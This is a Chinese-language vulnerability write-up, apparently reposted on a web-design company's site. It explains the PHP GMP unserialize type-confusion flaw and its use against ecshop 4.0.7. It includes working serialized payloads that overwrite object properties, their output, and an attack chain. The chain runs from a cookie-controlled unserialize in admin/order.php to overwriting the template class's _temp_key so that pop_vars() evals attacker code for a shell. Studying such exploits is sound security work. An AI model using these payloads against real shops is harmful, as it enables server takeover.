這篇文章給大家介紹從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
10年積累的成都網(wǎng)站制作、網(wǎng)站設(shè)計經(jīng)驗,可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認(rèn)識你,你也不認(rèn)識我。但先網(wǎng)站設(shè)計后付款的網(wǎng)站建設(shè)流程,更有大渡口免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。
php 5.6.x
反序列化入口點
可以觸發(fā)__wakeup的觸發(fā)點(在php < 5.6.11以下,可以使用內(nèi)置類)
gmp.c
static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); }
zend_object_handlers.c
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; }
從gmp.c中的片段中我們可以大致理解漏洞發(fā)現(xiàn)者taoguangchen的原話。
__wakeup
等魔術(shù)方法可以導(dǎo)致ZVAL在內(nèi)存中被修改。因此,攻擊者可以將**object轉(zhuǎn)化為整數(shù)型或者bool型的ZVAL,那么我們就可以通過Z_OBJ_P
訪問存儲在對象儲存中的任何對象,這也就意味著可以通過zend_hash_copy
覆蓋任何對象中的屬性,這可能導(dǎo)致很多問題,在一定場景下也可以導(dǎo)致安全問題。
或許僅憑借代碼片段沒辦法理解上述的話,但我們可以用實際測試來看看。
首先我們來看一段測試代碼
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } class b{ var $ryat =1; } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $obj2 = new b; $obj3 = new stdClass; $obj3->aa =2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); $obj4 = new stdClass; var_dump($x); var_dump($obj); var_dump($obj2); var_dump($obj3); var_dump($obj4); ?>
在代碼中我展示了多種不同情況下的環(huán)境。
讓我們來看看結(jié)果是什么?
array(1) { [0]=> &int(1) } object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=>&int(1) } } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }
我成功修改了第一個聲明的對象。
但如果我將反序列化的類改成b會發(fā)生什么呢?
$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';
很顯然的是,并不會影響到其他的類變量
array(1) { [0]=> &object(GMP)#4 (4) { ["aa"]=>string(2) "hi" ["bb"]=>string(2) "hi" [0]=>object(b)#5 (1) { ["ryat"]=> &object(GMP)#4 (4) { ["aa"]=>string(2) "hi" ["bb"]=>string(2) "hi" [0]=>*RECURSION* ["num"]=>string(2) "32" } } ["num"]=>string(2) "32" } } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#6 (0) { }
如果我們給class b加一個__Wakeup
函數(shù),那么又會產(chǎn)生一樣的效果。
但如果我們把wakeup魔術(shù)方法中的變量設(shè)置為2
class obj { var $ryat; function __wakeup() { $this->ryat = 2; } }
返回的結(jié)果可以看出來,我們成功修改了第二個聲明的對象。
array(1) { [0]=> &int(2) } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (4) { ["ryat"]=> int(1) ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=>&int(2) } } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }
但如果我們把ryat改為4,那么頁面會直接返回500,因為我們修改了沒有分配的對象空間。
在完成前面的試驗后,我們可以把漏洞的利用條件簡化一下。
如果我們有一個可控的反序列化入口,目標(biāo)后端PHP安裝了GMP插件(這個插件在原版php中不是默認(rèn)安裝的,但部分打包環(huán)境中會自帶),如果我們找到一個可控的__wakeup
魔術(shù)方法,我們就可以修改反序列化前聲明的對象屬性,并配合場景產(chǎn)生實際的安全問題。
如果目標(biāo)的php版本在5.6 <= 5.6.11中,我們可以直接使用內(nèi)置的魔術(shù)方法來觸發(fā)這個漏洞。
var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));
在討論完GMP類型混淆漏洞之后,我們必須要討論一下這個漏洞在真實場景下的利用方式。
漏洞的發(fā)現(xiàn)者Taoguang Chen提交了一個在mybb中的相關(guān)利用。
https://hackerone.com/reports/198734
這里我們不繼續(xù)討論這個漏洞,而是從頭討論一下在ecshop中的利用方式。
ecshop 4.0.7
php 5.6.9
首先我們需要找到一個反序列化入口點,這里我們可以全局搜索unserialize
,挨個看一下我們可以找到兩個可控的反序列化入口。
其中一個是search.php line 45
... { $string = base64_decode(trim($_GET['encode'])); if ($string !== false) { $string = unserialize($string); if ($string !== false) ...
這是一個前臺的入口,但可惜的是引入初始化文件在反序列化之后,這也就導(dǎo)致我們沒辦法找到可以覆蓋類變量屬性的目標(biāo),也就沒辦法進(jìn)一步利用。
還有一個是admin/order.php line 229
/* 取得上一個、下一個訂單號 */ if (!empty($_COOKIE['ECSCP']['lastfilter'])) { $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])); ...
后臺的表單頁的這個功能就滿足我們的要求了,不但可控,還可以用urlencode來繞過ecshop對全局變量的過濾。
這樣一來我們就找到了一個可控并且合適的反序列化入口點。
get_declared_classes()
來確定在反序列化時,已經(jīng)聲明定義過的類。
在我本地環(huán)境下,除了PHP內(nèi)置類以外我一共找到13個類
[129]=> string(3) "ECS" [130]=> string(9) "ecs_error" [131]=> string(8) "exchange" [132]=> string(9) "cls_MySQL" [133]=> string(11) "cls_session" [134]=> string(12) "cls_template" [135]=> string(11) "certificate" [136]=> string(6) "oauth3" [137]=> string(15) "oauth3_response" [138]=> string(14) "oauth3_request" [139]=> string(9) "transport" [140]=> string(6) "matrix" [141]=> string(16) "leancloud_client"
從代碼中也可以看到在文件頭引入了多個庫文件
require(dirname(__FILE__) . '/includes/init.php'); require_once(ROOT_PATH . 'includes/lib_order.php'); require_once(ROOT_PATH . 'includes/lib_goods.php'); require_once(ROOT_PATH . 'includes/cls_matrix.php'); include_once(ROOT_PATH . 'includes/cls_certificate.php'); require('leancloud_push.php');
這里我們主要關(guān)注init.php,因為在這個文件中聲明了ecshop的大部分通用類。
在逐個看這里面的類變量時,我們可以敏銳的看到一個特殊的變量,由于ecshop的后臺結(jié)構(gòu)特殊,頁面內(nèi)容大多都是由模板編譯而成,而這個模板類恰好也在init.php中聲明
require(ROOT_PATH . 'includes/cls_template.php'); $smarty = new cls_template;
回到order.php中我們尋找與$smarty
相關(guān)的方法,不難發(fā)現(xiàn),主要集中在兩個方法中
... $smarty->assign('shipping', $shipping); $smarty->display('print.htm'); ...
而這里我們主要把視角集中在display方法上。
粗略的瀏覽下display方法的邏輯大致是
請求相應(yīng)的模板文件 --> 經(jīng)過一系列判斷,將相應(yīng)的模板文件做相應(yīng)的編譯 --> 輸出編譯后的文件地址
比較重要的代碼會在make_compiled
這個函數(shù)中被定義
function make_compiled($filename) { $name = $this->compile_dir . '/' . basename($filename) . '.php'; ... if ($this->force_compile || $filestat['mtime'] > $expires) { $this->_current_file = $filename; $source = $this->fetch_str(file_get_contents($filename)); if (file_put_contents($name, $source, LOCK_EX) === false) { trigger_error('can\'t write:' . $name); } $source = $this->_eval($source); } return $source; }
當(dāng)流程走到這一步的時候,我們需要先找到我們的目標(biāo)是什么?
重新審視cls_template.php
的代碼,我們可以發(fā)現(xiàn)涉及到代碼執(zhí)行的只有幾個函數(shù)。
function get_para($val, $type = 1) // 處理insert外部函數(shù)/需要include運行的函數(shù)的調(diào)用數(shù)據(jù) { $pa = $this->str_trim($val); foreach ($pa AS $value) { if (strrpos($value, '=')) { list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&quot;'), '', $value)); if ($b{0} == '$') { if ($type) { eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';'); } else { $para[$a] = $this->get_val(substr($b, 1)); } } else { $para[$a] = $b; } } } return $para; }
get_para只在select中調(diào)用,但是沒找到能觸發(fā)select的地方。
然后是pop_vars
function pop_vars() { $key = array_pop($this->_temp_key); $val = array_pop($this->_temp_val); if (!empty($key)) { eval($key); } }
恰好配合GMP我們可以控制$this->_temp_key
變量,所以我們只要能在上面的流程中找到任意地方調(diào)用這個方法,我們就可以配合變量覆蓋構(gòu)造一個代碼執(zhí)行。
在回看剛才的代碼流程時,我們從編譯后的PHP文件中找到了這樣的代碼
order_info.htm.php
<?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>
在遍歷完表單之后,正好會觸發(fā)pop_vars
。
這樣一來,只要我們控制覆蓋cls_template
變量的_temp_key
屬性,我們就可以完成一次getshell
關(guān)于從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
網(wǎng)頁標(biāo)題:從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的
網(wǎng)頁網(wǎng)址:http://aaarwkj.com/article36/gjdppg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App設(shè)計、網(wǎng)站內(nèi)鏈、關(guān)鍵詞優(yōu)化、自適應(yīng)網(wǎng)站、外貿(mào)建站、網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)